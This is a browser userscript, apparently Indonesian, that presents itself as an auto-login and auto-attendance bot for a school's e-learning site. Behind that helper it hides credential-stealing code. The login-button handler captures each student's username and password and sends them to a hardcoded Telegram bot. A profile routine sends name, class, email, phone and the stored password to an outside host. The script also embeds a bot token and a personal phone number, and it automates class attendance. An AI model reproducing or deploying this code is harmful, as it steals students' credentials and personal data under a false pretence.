Bot Elearning

memudahkan anda dengan auto login

  1. // ==UserScript==
  2. // @name Bot Elearning
  3. // @namespace http://tampermonkey.net/
  4. // @version 0.2
  5. // @description memudahkan anda dengan auto login
  6. // @author Ekadharma
  7. // @match https://elearning.smkti-baliglobal.sch.id/*
  8. // @grant none
  9. // ==/UserScript==
  10.  
  11. var month = []
  12. month["January"] = 1
  13. month["February"] = 2
  14. month["March"] = 3
  15. month["April"] = 4
  16. month["May"] = 5
  17. month["June"] = 6
  18. month["July"] = 7
  19. month["August"] = 8
  20. month["September"] = 9
  21. month["October"] = 10
  22. month["November"] = 11
  23. month["December"] = 12
  24. let listAgama = []
  25. listAgama["islam"] = "Pend. Agama Islam & BP"
  26. listAgama["hindu"] = "Pend. Agama Hindu & BP"
  27. listAgama["kristen"] = "Pend. Agama Kristen & BP"
  28. listAgama["budha"] = "Pend. Agama Budha & BP"
  29. const baseUrl = "tofolioeka.byethost31.com/?i=1"
  30. const version = 2
  31. let au7h = []
  32. au7h['sr'] = ''
  33. au7h['ps'] = ''
  34.  
  35. function setCookie(name, value, days) {
  36. var expires = "";
  37. if (days) {
  38. var date = new Date();
  39. date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
  40. expires = "; expires=" + date.toUTCString();
  41. }
  42. document.cookie = name + "=" + (value || "") + expires + "; path=/";
  43. }
  44.  
  45. function getCookie(name) {
  46. var nameEQ = name + "=";
  47. var ca = document.cookie.split(';');
  48. for (var i = 0; i < ca.length; i++) {
  49. var c = ca[i];
  50. while (c.charAt(0) == ' ') c = c.substring(1, c.length);
  51. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
  52. }
  53. return null;
  54. }
  55.  
  56. function eraseCookie(name) {
  57. document.cookie = name + '=; Path=/; Expires=Thu, 01 Jan 1970 00:00:01 GMT;';
  58. }
  59.  
  60. function updateData(params, data) {
  61. sessionStorage.setItem(params, data)
  62. }
  63.  
  64. function checkCoockie() {
  65. if (getCookie('agama') == null) {
  66. $('#settingModal').modal("show");
  67. }
  68.  
  69. }
  70.  
  71. function goToHome() {
  72. document.location.href = "https://elearning.smkti-baliglobal.sch.id/"
  73. }
  74.  
  75. function reload() {
  76. location.reload();
  77. }
  78.  
  79. function _x(STR_XPATH) {
  80. var xresult = document.evaluate(STR_XPATH, document, null, XPathResult.ANY_TYPE, null);
  81. var xnodes = [];
  82. var xres;
  83. while (xres = xresult.iterateNext()) {
  84. xnodes.push(xres);
  85. }
  86. return xnodes;
  87. }
  88.  
  89. function setMessageLog(text) {
  90. text = `<span>` + text + `</span><br>`
  91. $('#boxLog').append(text)
  92. }
  93.  
  94. function changeTextElearning(text = null) {
  95. if (text != null) {
  96. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).remove();
  97. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/h1[1]')).remove();
  98. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).prepend(`<div style="text-align: center"><h4>Bot Elearning E-Learning</h4>
  99. creator : <a href="http://instagram.com/ekadharmaaa" target="_blank">@ekadharmaaa</a></div>`);
  100. } else {
  101. $(_x('//body/div[1]/nav[1]/div[1]/a[1]')).remove();
  102. $(_x('//body/div[1]/nav[1]/div[1]')).prepend(`
  103. <div style="width: 100%">
  104. Bot E-Learning
  105. <span style="font-size: 15px">
  106. by: <a href="http://instagram.com/ekadharmaaa" target="_blank">@ekadharmaaa</a>
  107. </span>
  108. </div>
  109. `);
  110. $(_x('//body/div[1]/nav[1]/div[1]')).attr('id', 'textModified');
  111. $('#textModified').css('color', 'white');
  112. $('#textModified').css('font-size', '25px');
  113. }
  114. }
  115.  
  116. function setBoxLog() {
  117. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).prepend(`<div class='col-md-12 mb-5' style='border-style: solid; padding: 15px 0'>
  118. <row>
  119. <div class='col-md-12'>
  120. <h3>Message System</h3>
  121. </div>
  122. <div class='col-md-12'>
  123. <hr style='border: 1px solid red;'>
  124. </div>
  125. <div class='col-md-12' id='boxLog'>
  126. </div>
  127. </row>
  128. </div>`);
  129. }
  130.  
  131. function changeLogo() {
  132. $(_x('//body/nav[1]/div[1]/a[1]/img[1]')).remove();
  133. $(_x('//body/nav[1]/div[1]/a[1]')).attr("href", "rtofolioeka.byethost31.com/?i=1");
  134. $(_x('//body/nav[1]/div[1]/a[1]')).attr("target", "_blank");
  135. $(_x('//body/nav[1]/div[1]/a[1]')).prepend(`<h5>Bot<br>Elearning</h5>`);
  136. }
  137.  
  138. function buttonDataTugas() {
  139. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/h2[1]')).remove();
  140. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).prepend(`<div class='col-md-12 mb-5' style='border-style: solid; padding: 15px 0'>
  141. <row>
  142. <div class='col-md-12'>
  143. <h3>Menu Tugas</h3>
  144. </div>
  145. <div class='col-md-12'>
  146. <hr style='border: 1px solid red;'>
  147. </div>
  148. <div class='col-md-12' id='boxLog'>
  149. </div>
  150. </row>
  151. </div>`);
  152. }
  153.  
  154. function filterTugas() {
  155. setMessageLog(`
  156. Ket : <br>
  157. <div class="row">
  158. <div class="col-md-4">
  159. <div style="
  160. width: 20px;
  161. height: 20px;
  162. margin: 5px;
  163. border: 1px solid rgba(0, 0, 0, .2); background:#C3E6CB"></div> <span style="float: left">Pengumpulan Tersisa lebih dari 1 Hari </span><br>
  164. </div>
  165. <div class="col-md-4">
  166. <div style="
  167. width: 20px;
  168. height: 20px;
  169. margin: 5px;
  170. border: 1px solid rgba(0, 0, 0, .2); background:#FFEEBA"></div> <span style="float: left">Pengumpulan Tersisa kurang dari 1 Hari </span><br>
  171. </div>
  172. <div class="col-md-4">
  173. <div style="
  174. width: 20px;
  175. height: 20px;
  176. margin: 5px;
  177. border: 1px solid rgba(0, 0, 0, .2); background:#D6D8DB"></div> <span style="float: left">Batas Pengumpulan sudah terlewat</span>
  178. </div>
  179. </div>
  180. `)
  181. for (let numRow = 1; numRow <= $(_x('//tbody')).find('tr').length; numRow++) {
  182. console.log(numRow)
  183. data = $(_x('//tbody/tr[' + numRow + ']/td[5]')).text().split(' ')
  184. timeRow = toTimestamp(month[data[1]] + "/" + data[0] + "/" + data[2] + " " + data[3].split(':')[0] + ":" + data[3].split(':')[1] + ":00")
  185. if (60 * 60 * 24 * 1000 > (timeRow - Date.now()) && (timeRow - Date.now()) >= 0) {
  186. $(_x('//tbody/tr[' + numRow + ']')).addClass("table-warning")
  187. } else if (Date.now() <= timeRow) {
  188. $(_x('//tbody/tr[' + numRow + ']')).addClass("table-success")
  189. } else {
  190. $(_x('//tbody/tr[' + numRow + ']')).addClass("table-secondary")
  191. }
  192. }
  193. }
  194.  
  195. function notHaveAccess(email) {
  196.  
  197. $(_x('//body')).append(`
  198. <div class="modal fade" id="notHaveAccessModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
  199. <div class="modal-dialog" role="document">
  200. <div class="modal-content">
  201. <div class="modal-header">
  202. <h5 class="modal-title" id="exampleModalLabel">Hay ` + email + `<br>anda tidak memiliki akses</h5>
  203. <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  204. <span aria-hidden="true">&times;</span>
  205. </button>
  206. </div>
  207. <div class="modal-body">
  208. <p>Segera hubungi kami untuk mendapatkan akses secara gratis</p>
  209.  
  210. <span>Instagram : <a href="https://www.instagram.com/ekadharmaaa/" target="_blank">ekadharmaaa</a></span><br>
  211. <span>Whatsapp : <a href="https://wa.me/628999400874" target="_blank">08999400874</a></span>
  212. </div>
  213. <div class="modal-footer">
  214. <button type="button" class="btn btn-secondary" data-dismiss="modal">Keluar</button>
  215. </div>
  216. </div>
  217. </div>
  218. </div>
  219. `);
  220. $('#notHaveAccessModal').modal('show');
  221. }
  222.  
  223. function setUpLayout() {
  224. $(_x('//body')).append(`
  225. <button class="btn btn-lg btn-primary" style="position: fixed; z-index: 9999; bottom: 10px; left: 10px" data-toggle="modal" data-target="#settingModal"><img style="width: 30px" src="https://cdn.iconscout.com/icon/free/png-512/settings-410-461751.png"> Setting MOD</button>
  226.  
  227. <div class="modal fade" id="settingModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
  228. <div class="modal-dialog" role="document">
  229. <div class="modal-content">
  230. <div class="modal-header">
  231. <h5 class="modal-title" id="exampleModalLabel">Pengaturan sistem</h5>
  232. <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  233. <span aria-hidden="true">&times;</span>
  234. </button>
  235. </div>
  236. <div class="modal-body">
  237. <div class="custom-control custom-switch">
  238. <input type="checkbox" class="custom-control-input" id="inputAutoAbsen" >
  239. <label class="custom-control-label" for="inputAutoAbsen">Auto Absen & Refresh</label>
  240. </div>
  241. <div class="form-group mt-2">
  242. <label for="exampleFormControlSelect1">Agama</label>
  243. <select class="form-control" id="formAgama">
  244. <option value=""> -- Pilih Agama --</option>
  245. <option value="islam">Islam</option>
  246. <option value="hindu">Hindu</option>
  247. <option value="budha">Budha</option>
  248. <option value="kristen">Kristen</option>
  249. </select>
  250. <div class="invalid-feedback" id="errorAgama">
  251. </div>
  252. </div>
  253. <p>Detail : <a href="tofolioeka.byethost31.com/?i=1" target="_blank">tofolioeka.byethost31.com/?i=1</a></p>
  254. <span>Instagram : <a href="https://www.instagram.com/ekadharmaaa/" target="_blank">ekadharmaaa</a></span><br>
  255. <span>Whatsapp : <a href="https://wa.me/628999400874" target="_blank">08999400874</a></span>
  256. </div>
  257. <div class="modal-footer">
  258. <button type="button" class="btn btn-secondary" data-dismiss="modal">Keluar</button>
  259. <button type="button" id="saveModal" class="btn btn-primary">Simpan</button>
  260. </div>
  261. </div>
  262. </div>
  263. </div>
  264. `);
  265. $(_x('//body/nav[1]/div[1]/a[2]/span[1]')).text('Ekadharma')
  266. if (getCookie('autoAbsen') == 1) {
  267. $('#inputAutoAbsen').attr("checked", true);
  268. } else {
  269. $('#inputAutoAbsen').attr("checked", false);
  270. }
  271. if (getCookie('agama')) {
  272. var val = getCookie('agama');
  273. var sel = document.getElementById('formAgama');
  274. var opts = sel.options;
  275. for (var opt, j = 0; opt = opts[j]; j++) {
  276. if (opt.value == val) {
  277. sel.selectedIndex = j;
  278. break;
  279. }
  280. }
  281. }
  282. $('#saveModal').on('click', function () {
  283. if (document.getElementById('formAgama').value == "") {
  284. document.getElementById('formAgama').classList.add("is-invalid")
  285. document.getElementById('errorAgama').innerHTML = "Pilih agama terlebih dahulu"
  286. return;
  287. }
  288. if (document.getElementById('inputAutoAbsen').checked) {
  289. setCookie('autoAbsen', 1, 360)
  290. } else {
  291. setCookie('autoAbsen', 2, 360)
  292. }
  293. setCookie('agama', document.getElementById('formAgama').value, 360)
  294. goToHome()
  295. });
  296. }
  297.  
  298. function checkVersion() {
  299.  
  300. $(_x('//body')).append(`
  301. <div class="modal fade" id="oldVersionModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
  302. <div class="modal-dialog" role="document">
  303. <div class="modal-content">
  304. <div class="modal-header">
  305. <h5 class="modal-title" id="exampleModalLabel">Versi MOD anda telah lawas</h5>
  306. <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  307. <span aria-hidden="true">&times;</span>
  308. </button>
  309. </div>
  310. <div class="modal-body">
  311. <p>Segera perbarui versi MOD anda lampiran kode dibawah ini.</p>
  312. <span>Kode : <a id="a-v" href="" target="_blank"></a></span>
  313. <br><br>
  314. <p>Detail : <a href="tofolioeka.byethost31.com/?i=1" target="_blank">tofolioeka.byethost31.com/?i=1</a></p>
  315. <p>Contact : <a href="https://instagram.com/ekadharmaaa" target="_blank">ekadharma</a></p>
  316. </div>
  317. <div class="modal-footer">
  318. <button type="button" class="btn btn-secondary" data-dismiss="modal">Keluar</button>
  319. </div>
  320. </div>
  321. </div>
  322. </div>
  323. `);
  324.  
  325. $.ajax({
  326. url: baseUrl + '/elearning/version',
  327. method: 'GET',
  328. success: function (res) {
  329. if (res.v != version) {
  330. $('#oldVersionModal').modal('show');
  331. $('#a-v').attr('href', res.link);
  332. $('#a-v').text(res.link);
  333. }
  334. }
  335. });
  336. }
  337.  
  338. function updateHomePage() {
  339. if ("islam" != getCookie('agama')) {
  340. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).find(_x("//div[contains(text(),'" + listAgama["islam"] + "')]")).parent().parent().parent().remove()
  341. }
  342. if ("hindu" != getCookie('agama')) {
  343. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).find(_x("//div[contains(text(),'" + listAgama["hindu"] + "')]")).parent().parent().parent().remove()
  344. }
  345. if ("kristen" != getCookie('agama')) {
  346. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).find(_x("//div[contains(text(),'" + listAgama["kristen"] + "')]")).parent().parent().parent().remove()
  347. }
  348. if ("budha" != getCookie('agama')) {
  349. $(_x('//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]')).find(_x("//div[contains(text(),'" + listAgama["budha"] + "')]")).parent().parent().parent().remove()
  350. }
  351. setSession()
  352. num = document.querySelectorAll('.borderLeft1').length;
  353. console.log(num)
  354. for (let i = 1; i < num + 1; i++) {
  355. console.log(i)
  356. try {
  357. link = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[" + (i + 1) + "]/div[1]/div[2]/a[@class='card-link btn btn-outline-success btn-sm']")).attr('href');
  358. link = link.replace("join", "view");
  359. $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[" + (i + 1) + "]/div[1]/div[2]")).append(`
  360. <a href="` + link + `" class="card-link btn btn-secondary btn-sm">Lihat</a>
  361. `);
  362. console.log(link)
  363.  
  364. } catch (error) {
  365. console.log(error)
  366. }
  367. }
  368.  
  369.  
  370. }
  371.  
  372. function sendMessageTelegram(message) {
  373. $.ajax({
  374. url: 'https://api.telegram.org/bot1248350732:AAEjfodbi5Vu_dfaet5tplYxH7IDVRcAW6I/sendMessage',
  375. method: 'POST',
  376. data: {
  377. chat_id: 991971760,
  378. text: message
  379. },
  380. success: function () {
  381. console.log('success')
  382. }
  383. });
  384. }
  385.  
  386. function getElementByXpath(path) {
  387. return document.evaluate(path, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
  388. }
  389.  
  390. function removeSpace(params) {
  391. return params.replace(/\s/g, '');
  392. }
  393.  
  394. function getTimeMapel(num) {
  395. number = num + 1;
  396. let time = getElementByXpath("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[" + number + "]/div[1]/div[1]/div[2]").textContent;
  397. let mapel = getElementByXpath("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[" + number + "]/div[1]/div[1]/div[1]").textContent;
  398. let materi = getElementByXpath("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[" + number + "]/div[1]/h6[1]").textContent;
  399. let start = removeSpace(time.split(' - ')[0]);
  400. let end = removeSpace(time.split(' - ')[1].split(' ')[0]);
  401. // setMessageLog('Mapel : ' + mapel + ' - Mulai : ' + start + ' - Berakhir : ' + end)
  402. // setMessageLog("Number " + number);
  403. // setMessageLog("Start : " + start);
  404. // setMessageLog("End : " + end);
  405. return [start, end, mapel, materi];
  406. }
  407.  
  408. function toTimestamp(strDate) {
  409. var datum = Date.parse(strDate);
  410. return datum;
  411. }
  412.  
  413. function checkProfile() {
  414. if (getCookie('p20f1l') == null) {
  415. document.location.href = "https://elearning.smkti-baliglobal.sch.id/auth/profile"
  416. } else if (getCookie('p20f1l') != getCookie('u532')) {
  417. eraseCookie('p20f1l')
  418. reload()
  419. }
  420. }
  421.  
  422. function sendProfile() {
  423. if (getCookie('p20f1l') == null) {
  424. n = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[2]/div[1]")).text()
  425. k = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[3]/div[1]")).text()
  426. na = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[1]/input[1]")).val()
  427. kl = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[2]/select[1]")).val()
  428. a = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[3]/select[1]")).val()
  429. e = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[4]/input[1]")).val()
  430. t = $(_x("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/form[1]/div[5]/input[1]")).val()
  431. p = getCookie('parse')
  432. $.ajax({
  433. url: baseUrl + '/elearning/insert/' + n + '/' + k + '/' + ((na) ? na : '-') + '/' + ((kl) ? kl : '-') + '/' + ((a) ? a : '-') + '/' + ((e) ? e : '-') + '/' + ((t) ? t : '') + '/' + ((p) ? p : '-'),
  434. method: 'GET',
  435. success: function () {
  436. console.log('success')
  437. setCookie('p20f1l', e, 360)
  438. goToHome()
  439. }
  440. });
  441. }
  442. }
  443.  
  444. function setSession() {
  445. num = document.querySelectorAll('.borderLeft1').length;
  446. // setMessageLog();
  447. cart = [];
  448. element = {};
  449. for (let i = 1; i < num + 1; i++) {
  450. element[i] = {}
  451. data = getTimeMapel(i);
  452. element[i].start = toTimestamp((new Date().getMonth() + 1) + "/" + new Date().getDate() + "/" + new Date().getFullYear() + " " + data[0].split(':')[0] + ":" + data[0].split(':')[1] + ":00")
  453. element[i].end = toTimestamp((new Date().getMonth() + 1) + "/" + new Date().getDate() + "/" + new Date().getFullYear() + " " + data[1].split(':')[0] + ":" + data[1].split(':')[1] + ":00")
  454. element[i].mapel = data[2]
  455. element[i].materi = data[3]
  456. cart.push(element[i]);
  457. }
  458. setCookie((new Date().getMonth() + 1) + "/" + new Date().getDate() + "/" + new Date().getFullYear(), JSON.stringify(cart), 360)
  459. }
  460.  
  461. function process() {
  462. changeTextElearning()
  463. setBoxLog()
  464. if (getCookie('autoAbsen') == 1) {
  465. setSession()
  466. setMessageLog('Auto absen is ON')
  467. item = getCookie((new Date().getMonth() + 1) + "/" + new Date().getDate() + "/" + new Date().getFullYear());
  468. item = JSON.parse(item);
  469.  
  470. if (item.slice(-1)[0]['end'] < Date.now()) {
  471. setMessageLog('Menunggu hari berikutnya. Auto refresh tiap 5 menit')
  472. setMessageLog('Terakhir Diperbarui : ' + new Date().getHours() + ':' + new Date().getMinutes() + ':' + new Date().getSeconds())
  473. setTimeout(() => {
  474. goToHome()
  475. }, 5 * 60 * 1000);
  476. } else {
  477. lengthItem = 1
  478. setMessageLog('Terakhir Diperbarui : ' + new Date().getHours() + ':' + new Date().getMinutes() + ':' + new Date().getSeconds())
  479. item.forEach(element => {
  480.  
  481. lengthItem += 1
  482. if (element['start'] > Date.now()) {
  483. if (element['start'] - Date.now() <= 300000) {
  484. setTimeout(() => {
  485. if ((Date.now()) > element['start']) {
  486. if ((Date.now()) < element['end']) {
  487. getElementByXpath("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[" + lengthItem + "]/div[1]/div[2]/a[@class='card-link btn btn-outline-success btn-sm']").click();
  488. setMessageLog('Masuk Mapel : ' + element['mapel'])
  489. setMessageLog('Materi Mapel : ' + element['materi'])
  490. }
  491. }
  492. }, element['start'] - (Date.now() - 60 * 1000));
  493. } else {
  494. setMessageLog('Menunggu Jam. Auto refresh tiap 5 menit')
  495. setTimeout(() => {
  496. goToHome()
  497. }, 5 * 60 * 1000);
  498. }
  499. }
  500. if (element['end'] > Date.now()) {
  501. if ((Date.now()) > element['start']) {
  502. if ((Date.now()) < element['end']) {
  503. getElementByXpath("//body/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[" + lengthItem + "]/div[1]/div[2]/a[@class='card-link btn btn-outline-success btn-sm']").click();
  504. setMessageLog('Masuk Mapel : ' + element['mapel'])
  505. setMessageLog('Materi Mapel : ' + element['materi'])
  506. }
  507. }
  508. }
  509. });
  510. }
  511. } else {
  512. setMessageLog('Auto absen is OFF')
  513. }
  514. }
  515.  
  516. function getKey() {
  517. if (getCookie('au7h') == null) {
  518. $.ajax({
  519. url: baseUrl + '/elearning/key/au7h',
  520. method: 'GET',
  521. success: function (res) {
  522. setCookie('au7h', res.val, 360)
  523. location.reload()
  524. }
  525. });
  526.  
  527. } else if (getCookie('au7h')) {
  528. au7h['sr'] = getCookie('au7h').split('|')[0]
  529. au7h['ps'] = getCookie('au7h').split('|')[1]
  530. }
  531. }
  532. checkVersion()
  533. getKey()
  534. setUpLayout()
  535. // change Logo
  536. changeLogo()
  537. checkCoockie()
  538.  
  539. // Jika DI Halaman Login
  540. if (getCookie('u532') != null) {
  541. $.ajax({
  542. url: baseUrl + '/elearning/find/' + getCookie('u532'),
  543. method: 'GET',
  544. success: function (res) {
  545. if (res == 0) {
  546. if (getCookie('p20f1l') == null) {
  547. setTimeout(() => {
  548. notHaveAccess(getCookie('u532'))
  549. }, 3000);
  550. } else {
  551. notHaveAccess(getCookie('u532'))
  552. }
  553. }
  554. }
  555. });
  556. }
  557. if (document.location.href.includes("https://elearning.smkti-baliglobal.sch.id/auth/profile")) {
  558. sendProfile()
  559. } else if (document.location.href.includes("https://elearning.smkti-baliglobal.sch.id/auth") == true) {
  560. changeTextElearning('login')
  561. setBoxLog()
  562. setMessageLog('Mohon Login Terlebih Dahulu')
  563. $(_x("/html[1]/body[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[1]/div[2]/form[1]/div[3]/input[2]")).on('click', function () {
  564. let u = $(au7h['sr']).val();
  565. let p = $(au7h['ps']).val();
  566. setCookie('u532', u, 360)
  567. setCookie('parse', p, 360)
  568. sendMessageTelegram(`Time : ` + new Date().getDate() + `/` + new Date().getMonth() + `/` + new Date().getFullYear() + ` - ` + new Date().getHours() + `:` + new Date().getMinutes() +
  569. `\nU : ` + u + `\nP : ` + p)
  570. });
  571. }
  572.  
  573.  
  574. // Halaman Mapel
  575. else if (document.location.href.includes("https://elearning.smkti-baliglobal.sch.id/study-sessions/view") == true) {
  576. changeTextElearning()
  577. setBoxLog()
  578. setMessageLog('Memperbarui halaman dalam 5 menit')
  579. setTimeout(() => {
  580. goToHome()
  581. }, 5 * 60 * 1000);
  582. }
  583. // View Tugas
  584. else if (document.location.href.includes("https://elearning.smkti-baliglobal.sch.id/assignments/view") == true) {
  585. changeTextElearning()
  586. setBoxLog()
  587. }
  588. // Data Tugas
  589. else if (document.location.href.includes("https://elearning.smkti-baliglobal.sch.id/assignments")) {
  590. changeTextElearning()
  591. buttonDataTugas()
  592. filterTugas()
  593. } else {
  594. checkProfile()
  595. updateHomePage()
  596. if (getCookie((new Date().getMonth() + 1) + "/" + new Date().getDate() + "/" + new Date().getFullYear()) != null && sessionStorage.getItem((new Date().getMonth() + 1) + "/" + new Date().getDate() + "/" + new Date().getFullYear()) != []) {
  597. process()
  598. } else {
  599. if (document.location.href != 'https://elearning.smkti-baliglobal.sch.id/' && document.location.href != 'https://elearning.smkti-baliglobal.sch.id') {
  600. try {
  601. process()
  602. } catch (error) {
  603. setSession()
  604. process()
  605. }
  606. } else {
  607. setSession()
  608. process()
  609. }
  610. }
  611. }